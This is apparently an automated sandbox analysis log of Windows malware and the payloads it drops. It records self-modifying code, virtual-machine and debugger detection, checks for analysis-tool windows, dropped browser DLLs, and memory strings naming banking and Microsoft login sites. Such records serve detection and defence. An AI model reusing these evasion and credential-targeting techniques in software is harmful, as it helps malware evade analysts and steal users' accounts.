Source: C:\Users\user\AppData\Local\Temp\1007061001\215a689fd9.exe	Special instruction interceptor: First address: 97DF51 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Special instruction interceptor: First address: 5EBE212 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Special instruction interceptor: First address: 5EBE318 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Special instruction interceptor: First address: 6090833 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Special instruction interceptor: First address: 60F8F84 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Special instruction interceptor: First address: 608FD94 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Special instruction interceptor: First address: 608FCCA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Special instruction interceptor: First address: 6239F2A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Special instruction interceptor: First address: 6243B1D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Special instruction interceptor: First address: 62CDF51 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\DocumentsIJKFHDBKFC.exe

Code function: 23_2_04E401EA rdtsc

23_2_04E401EA

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Thread delayed: delay time: 180000

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 547
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 547
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 2837
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 2966
Source: C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe	Window / User API: threadDelayed 1232
Source: C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe	Window / User API: threadDelayed 1194
Source: C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe	Window / User API: threadDelayed 1211
Source: C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe	Window / User API: threadDelayed 1233
Source: C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe	Window / User API: threadDelayed 1212
Source: C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe	Window / User API: threadDelayed 1188

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[2].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1007063001\e4e71e967a.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 0.8 %

Source: C:\Users\user\Desktop\file.exe TID: 4144	Thread sleep time: -36018s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2992	Thread sleep time: -34017s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2828	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3604	Thread sleep time: -38019s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6544	Thread sleep time: -34017s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4800	Thread sleep count: 547 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4800	Thread sleep time: -1094547s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8576	Thread sleep count: 547 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8576	Thread sleep time: -1094547s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8484	Thread sleep count: 343 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8484	Thread sleep time: -10290000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8508	Thread sleep count: 2837 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8508	Thread sleep time: -5676837s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8496	Thread sleep count: 2966 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8496	Thread sleep time: -5934966s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8628	Thread sleep time: -180000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe TID: 6896	Thread sleep count: 1232 > 30
Source: C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe TID: 6896	Thread sleep time: -2465232s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe TID: 1596	Thread sleep count: 1194 > 30
Source: C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe TID: 1596	Thread sleep time: -2389194s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe TID: 6204	Thread sleep count: 1211 > 30
Source: C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe TID: 6204	Thread sleep time: -2423211s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe TID: 4232	Thread sleep count: 1233 > 30
Source: C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe TID: 4232	Thread sleep time: -2467233s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe TID: 6648	Thread sleep count: 1212 > 30
Source: C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe TID: 6648	Thread sleep time: -2425212s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe TID: 1812	Thread sleep count: 1188 > 30
Source: C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe TID: 1812	Thread sleep time: -2377188s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe TID: 7832	Thread sleep time: -34017s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe TID: 2096	Thread sleep time: -38019s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe TID: 992	Thread sleep time: -32000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe TID: 7052	Thread sleep time: -38019s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe TID: 5884	Thread sleep time: -210000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe TID: 7252	Thread sleep time: -30015s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe TID: 9124	Thread sleep time: -36018s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe TID: 1364	Thread sleep time: -270000s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\DocumentsIJKFHDBKFC.exe

File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CAAC930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6CAAC930

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: skotes.exe, skotes.exe, 00000019.00000002.2704283281.00000000005D9000.00000040.00000001.01000000.0000000E.sdmp, ea2bf34af0.exe, 0000001D.00000002.3316434122.0000000006044000.00000040.00000800.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000002.3314953331.0000000005D8F000.00000004.00000800.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000002.3291617905.00000000003BF000.00000040.00000001.01000000.00000010.sdmp, 215a689fd9.exe, 0000001E.00000002.2986576385.00000000008C8000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: ea2bf34af0.exe, 0000001D.00000003.2960154182.0000000005505000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: ea2bf34af0.exe, 0000001D.00000003.2960154182.0000000005505000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: ea2bf34af0.exe, 0000001D.00000003.2960154182.0000000005505000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: ea2bf34af0.exe, 0000001D.00000003.2960154182.0000000005505000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696487552f
Source: firefox.exe, 0000002E.00000002.3220008582.0000021BED116000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: firefox.exe, 0000002E.00000002.3220008582.0000021BED116000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWlenge/pwdMOZ_CRASHREPORTER_RESTART_ARG_3=--no-default-browser-checkMOZ_CRASHREPORTER_RESTART_ARG_4=--disable-popup-blockingMOZ_CRASHREPORTER_STRINGS_OVERRIDE=C:\Program Files\Mozilla Firefox\browser\crashreporter-override.iniNUMBER_OF_PROCESSOR
Source: ea2bf34af0.exe, 0000001D.00000003.2960154182.0000000005505000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: ea2bf34af0.exe, 0000001D.00000003.2960154182.0000000005505000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: file.exe, 00000000.00000002.2620717305.0000000001657000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2620717305.0000000001639000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2620717305.0000000001623000.00000004.00000020.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.3217652522.0000000000D53000.00000004.00000020.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000002.3296058737.0000000000D08000.00000004.00000020.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000002.3296058737.0000000000D56000.00000004.00000020.00020000.00000000.sdmp, 215a689fd9.exe, 0000001E.00000002.2987335924.000000000129E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: ea2bf34af0.exe, 0000001D.00000003.2960154182.0000000005505000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: ea2bf34af0.exe, 0000001D.00000002.3298218982.0000000000DBF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: 215a689fd9.exe, 0000001E.00000002.2987335924.000000000129E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWg
Source: firefox.exe, 0000002E.00000002.3234257561.0000021BF6DC2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW : 2 : 34 : 1 : 1 : 0x20026 : 0x8 : %SystemRoot%\system32\mswsock.dll : : 1234191b-4bf7-4ca7-86e0-dfd7c32b5445
Source: ea2bf34af0.exe, 0000001D.00000003.2960154182.0000000005505000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: ea2bf34af0.exe, 0000001D.00000003.2960154182.0000000005505000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: ea2bf34af0.exe, 0000001D.00000003.2960154182.0000000005505000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696487552
Source: ea2bf34af0.exe, 0000001D.00000003.2960154182.0000000005505000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: ea2bf34af0.exe, 0000001D.00000003.2960154182.000000000550B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696487552p
Source: ea2bf34af0.exe, 0000001D.00000003.2960154182.0000000005505000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696487552
Source: ea2bf34af0.exe, 0000001D.00000003.2960154182.0000000005505000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: ea2bf34af0.exe, 0000001D.00000003.2960154182.0000000005505000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: ea2bf34af0.exe, 0000001D.00000003.2960154182.0000000005505000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: 215a689fd9.exe, 0000001E.00000002.2987335924.0000000001274000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWH)*
Source: ea2bf34af0.exe, 0000001D.00000003.2960154182.0000000005505000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: ea2bf34af0.exe, 0000001D.00000003.2960154182.0000000005505000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: ea2bf34af0.exe, 0000001D.00000002.3298218982.0000000000DBF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: ea2bf34af0.exe, 0000001D.00000003.2960154182.0000000005505000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: firefox.exe, 0000002E.00000002.3220008582.0000021BED116000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllI'
Source: ea2bf34af0.exe, 0000001D.00000003.2960154182.0000000005505000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: ea2bf34af0.exe, 0000001D.00000003.2960154182.0000000005505000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: ea2bf34af0.exe, 0000001D.00000003.2960154182.0000000005505000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: ea2bf34af0.exe, 0000001D.00000003.2960154182.0000000005505000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: ea2bf34af0.exe, 0000001D.00000003.2960154182.0000000005505000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: 215a689fd9.exe, 0000001E.00000002.2987335924.000000000122E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: ea2bf34af0.exe, 0000001D.00000003.2960154182.0000000005505000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: ea2bf34af0.exe, 0000001D.00000003.2960154182.0000000005505000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: ea2bf34af0.exe, 0000001D.00000003.2960154182.0000000005505000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: ea2bf34af0.exe, 0000001D.00000003.2960154182.0000000005505000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: ea2bf34af0.exe, 0000001D.00000003.2960154182.0000000005505000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: ea2bf34af0.exe, 0000001D.00000003.2960154182.0000000005505000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: file.exe, 00000000.00000002.2619046640.0000000000C78000.00000040.00000001.01000000.00000003.sdmp, DocumentsIJKFHDBKFC.exe, 00000017.00000002.2670262605.0000000000B49000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 00000018.00000002.2661544363.00000000005D9000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000019.00000002.2704283281.00000000005D9000.00000040.00000001.01000000.0000000E.sdmp, ea2bf34af0.exe, 0000001D.00000002.3316434122.0000000006044000.00000040.00000800.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000002.3314953331.0000000005D8F000.00000004.00000800.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000002.3291617905.00000000003BF000.00000040.00000001.01000000.00000010.sdmp, 215a689fd9.exe, 0000001E.00000002.2986576385.00000000008C8000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: firefox.exe, 0000002E.00000002.3220008582.0000021BED0E0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@
Source: ea2bf34af0.exe, 0000001D.00000003.2960154182.0000000005505000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: ea2bf34af0.exe, 0000001D.00000003.2960154182.0000000005505000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1007061001\215a689fd9.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007061001\215a689fd9.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007061001\215a689fd9.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007061001\215a689fd9.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Process queried: DebugPort

Source: C:\Users\user\DocumentsIJKFHDBKFC.exe

Code function: 23_2_04E401EA rdtsc

23_2_04E401EA

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CAF5FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6CAF5FF0

Source: C:\Users\user\Desktop\file.exe

0_2_6CA93480

Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
